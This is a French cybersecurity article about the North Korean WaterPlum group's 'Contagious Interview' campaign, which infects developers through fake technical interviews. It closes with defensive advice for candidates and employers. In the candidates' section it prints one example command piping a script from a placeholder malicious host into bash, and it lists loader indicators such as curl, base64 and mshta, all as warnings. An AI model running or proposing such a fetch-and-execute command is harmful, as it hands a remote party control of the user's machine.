Campagne Contagious Interview : WaterPlum, le groupe nord-coréen qui piège les développeurs via de faux entretiens d'embauche

Selon une cyberalerte conjointe publiée le 18 septembre 2026 par le Japon, les États-Unis, l’Australie et l’Allemagne, la campagne de malveillance baptisée Contagious Interview a infecté plus de 30 000 ordinateurs dans plus de 100 pays et dérobé environ 1,7 milliard de yens (soit 10,7 millions de dollars) en cryptomonnaies. Cette offensive est désormais formellement attribuée au groupe sponsorisé par l’État nord-coréen désigné sous le nom de WaterPlum. L’avis, cosigné par la National Police Agency japonaise, le FBI, l’Australian Cyber Security Centre et les services de renseignement allemands BND et BfV, place WaterPlum sous la tutelle du Bureau 313 du Département de l’industrie munitions de la Corée du Nord, qui supervise la production d’armement. Ce cadrage transforme le piratage en une affaire de financement d’État, bien au-delà d’une simple cybercriminalité. Pour les professionnels de la cybersécurité en France, cette menace illustre une mutation dangereuse de l’ingénierie sociale : l’utilisation du processus de recrutement comme cheval de Troie.

Un mode opératoire qui cible les individus, pas les entreprises

La particularité de la campagne Contagious Interview réside dans le fait que les victimes ne sont pas des organisations, mais des personnes physiques. Les opérateurs se font passer pour des recruteurs d’entreprises spécialisées dans l’intelligence artificielle, les cryptomonnaies et les NFT. Ils approchent des développeurs, des web designers et des experts blockchain via les réseaux sociaux, les plateformes d’emploi et les marchés freelance.

L’étape de l’entretien technique

Une fois le contact établi, le candidat est invité à réaliser un exercice de codage ou à résoudre un problème de visioconférence dans le cadre d’un « entretien technique ». C’est à ce stade que le piège se referme. Le prétexte technique livre en réalité un malware, le plus souvent via des paquets npm (Node Package Manager) malveillants hébergés sur GitHub ou Bitbucket. Les agences décrivent l’objectif comme « infiltrer les réseaux informatiques de chercheurs d’emploi sans méfiance, récolter des informations sensibles et voler des cryptomonnaies ».

« Les candidats sont invités à exécuter du code qu’ils croient être un test de compétences ; en réalité, ils installent un logiciel espion qui compromet leur machine personnelle. » - Extrait de l’alerte conjointe.

Cinq familles de malware identifiées

L’analyse technique révèle cinq souches distinctes, toutes conçues pour siphonner systématiquement les données de la victime :

1. BeaverTail - un infostealer JavaScript caché dans des paquets npm.
2. InvisibleFerret - une backdoor en Python.
3. OtterCookie - un cheval de Troie d’accès à distance (RAT) JavaScript avec fonctions de vol.
4. OtterCandy - une souche qui fusionne OtterCookie avec une famille appelée RATatouille.
5. StoatWaffle - un loader modulaire Node.js combinant vol d’identifiants et RAT.

Ensemble, ces programmes dérobent identifiants, contenu du presse-papier, frappes clavier, captures d’écran, clés de portefeuilles et phrases de récupération (seed phrases), documents d’identité et code source. Selon la police japonaise, la phase la plus intense s’est déroulée entre décembre 2025 et juillet 2026, avec environ 7 000 cas de portefeuilles de cryptomonnaies compromis recensés.

Tableau récapitulatif des familles de malware

WaterPlum : un rouage de l’appareil d’État nord-coréen

L’attribution conjointe par quatre pays fournit un éclairage sans précédent sur la structure qui orchestre ces opérations. WaterPlum est présenté comme une entité relevant du Bureau 313 du Département de l’industrie munitions de la Corée du Nord. Ce département est chargé de superviser la production d’armements, ce qui signifie que les vols de cryptomonnaies et de données sont considérés comme une source de revenus pour l’État.

Lien avec le système de travailleurs IT nord-coréens

L’avis établit un parallèle direct entre la campagne Contagious Interview et le dispositif plus large de travailleurs informatiques nord-coréens infiltrés à l’étranger. Les opérateurs utilisent des documents d’identité volés et des serveurs privés virtuels pour masquer leur localisation, opérant depuis la Corée du Nord, la Chine, la Russie, l’Afrique et l’Asie du Sud-Est. Des « laptop farms » installées chez des complices fournissent des adresses IP locales plausibles.

« Lorsque les placements tournent mal, les travailleurs se livrent à de l’extorsion en cas de litige sur les paiements, à la défiguration de sites web et à la publication de code source dérobé. » - Alerte conjointe.

Les enquêteurs japonais ont démantelé une de ces laptop farms sur le territoire national et ont tracé plusieurs centaines de millions de yens à l’étranger. Cette double menace - infection via faux recrutement et infiltration de travailleurs IT - impose une vigilance accrue aux entreprises françaises qui recrutent des talents en télétravail.

Conséquences juridiques et exposition aux sanctions

La dimension étatique de l’attaque entraîne des risques de non-conformité pour les employeurs. Le département d’État américain a émis une alerte dès juillet 2026, et le ministère de la Justice a engagé des poursuites contre des facilitateurs et saisi des laptop farms. Toute entreprise qui rémunère sans le savoir un contractant nord-coréen s’expose à des sanctions au titre des embargos. C’est pourquoi l’avis conjoint insiste sur des contrôles contractuels et une vérification d’identité rigoureuse, au-delà de la seule détection technique.

En pratique, cela signifie que les directions juridiques et RH doivent intégrer la cybersécurité dans leur processus de recrutement, en particulier pour les postes techniques à distance. La France, via l’ANSSI, pourrait émettre des recommandations similaires dans le cadre de la directive NIS 2.

Comment se protéger en tant que développeur ou recruteur ?

Face à une campagne aussi ciblée, les bonnes pratiques doivent être appliquées à la fois par les candidats et par les employeurs. Voici les mesures concrètes issues de l’alerte et adaptées au contexte français.

Pour les candidats : exécution sécurisée du code

Si l’on vous demande d’exécuter un script dans le cadre d’un entretien technique, suivez ces règles :

• Utilisez une machine virtuelle dédiée, sans accès à vos fichiers personnels.
• Examinez toute commande suspecte contenant curl, base64, -enc, mshta ou Invoke-WebRequest. Ces indicateurs sont typiques des chargeurs de malware.
• Ouvrez les projets inconnus dans Visual Studio Code en mode restreint (Restricted Mode) et inspectez manuellement le fichier .vscode/tasks.json avant toute exécution.
• Ne connectez jamais votre portefeuille de cryptomonnaies sur un poste ayant exécuté du code non fiable.

# Exemple de commande à ne jamais exécuter sans vérification
curl -s http://malicious.example.com/install.sh | bash

« Traitez tout code provenant d’un recruteur inconnu comme potentiellement hostile. L’exécution dans un environnement isolé est la seule garantie. » - Recommandation pratique de l’ANSSI, inspirée de l’alerte.

Pour les employeurs : vérification d’identité

Les entreprises doivent mettre en place des contrôles pour éviter d’embaucher un agent infiltré ou d’exposer leurs équipes à une infection via un faux processus de recrutement :

1. Vérifiez l’adresse IP du candidat par rapport à la localisation déclarée. Des incohérences géographiques répétées sont un signal d’alarme.
2. Organisez des entretiens en personne ou en visioconférence avec caméra obligatoire. Méfiez-vous des refus systématiques, des freezes audio/vidéo fréquents ou de l’utilisation de logiciels de maquillage facial.
3. Utilisez des plateformes de recrutement sécurisées et ne partagez jamais de lien d’exécution de code sans avoir authentifié le candidat par un moyen fiable (certificat, signature numérique).

Conduite à tenir en cas d’infection

Si vous suspectez une infection suite à un entretien technique, les gestes suivants sont impératifs :

• Considérez que tous vos identifiants sont compromis. Changez immédiatement les mots de passe depuis un appareil sain.
• Réinitialisez vos portefeuilles de cryptomonnaies à partir d’un dispositif propre et transférez les fonds vers de nouvelles adresses.
• Réinstallez complètement le système d’exploitation de la machine concernée. Une simple analyse antivirus ne suffit pas face à des RAT et backdoors sophistiquées.
• Déclarez l’incident à l’ANSSI (via le service d’assistance) et, le cas échéant, à la CNIL si des données personnelles ont été volées.

Implications pour les entreprises françaises face à cette menace

La menace ne se limite pas aux développeurs individuels. Les entreprises françaises qui recrutent des prestataires IT ou des freelances en blockchain, intelligence artificielle ou développement Web3 sont directement exposées à la fois à l’infection via faux entretien et à l’infiltration de travailleurs nord-coréens.

Conformité réglementaire et sanctions

Au-delà du risque technique, l’exposition juridique est réelle. Le RGPD impose la protection des données traitées, et une infection par infostealer peut constituer une violation de données personnelles. De plus, le recrutement indirect d’un agent nord-coréen peut tomber sous le coup des sanctions internationales. Les entreprises doivent donc :

• Auditer leurs processus de recrutement sous l’angle de la cybersécurité, en impliquant les RSSI.
• Inclure des clauses contractuelles interdisant l’exécution de code non vérifié lors des tests techniques.
• Former les équipes RH aux signes d’alerte (refus de visioconférence, incohérences de fuseau horaire, demandes de connexion à distance).

Recommandations de l’ANSSI et bonnes pratiques sectorielles

L’ANSSI, dans ses guides sur la sécurisation du télétravail et des prestations externalisées, insiste sur la nécessité de segmenter les environnements de test et de production. Dans la pratique, nous observons que la mise en place d’un environnement de sandbox pour les candidats est une mesure simple mais trop rarement appliquée. Les entreprises devraient systématiquement fournir une machine virtuelle préconfigurée et isolée pour tout exercice technique, sans accès au réseau interne ni aux données sensibles.

« Le vecteur du recrutement est devenu un point d’entrée privilégié pour les APT. Les entreprises doivent traiter chaque échange avec un candidat comme une interaction potentiellement hostile. » - Retour d’expérience partagé par un RSSI du CAC 40 lors d’un atelier ANSSI.

Conclusion : une vigilance qui doit devenir structurelle

La campagne Contagious Interview attribuée à WaterPlum n’est pas une menace lointaine : elle a déjà infecté des dizaines de milliers de machines et volé des millions de dollars. Pour les professionnels de la cybersécurité en France, l’urgence est de sensibiliser les équipes de recrutement, de durcir les procédures d’entretien technique et de préparer des plans de réponse adaptés. L’attribution conjointe par quatre pays est un signal fort : la coopération internationale s’intensifie, mais la première ligne de défense reste l’individu et l’entreprise. Dès aujourd’hui, examinez vos pratiques de recrutement comme vous le feriez pour n’importe quel autre vecteur d’attaque. L’étape suivante ? Intégrer ces recommandations dans votre politique de sécurité et les tester régulièrement.

Pour aller plus loin, consultez les alertes de l’ANSSI sur les campagnes de phishing ciblé et les guides de sécurisation du télétravail.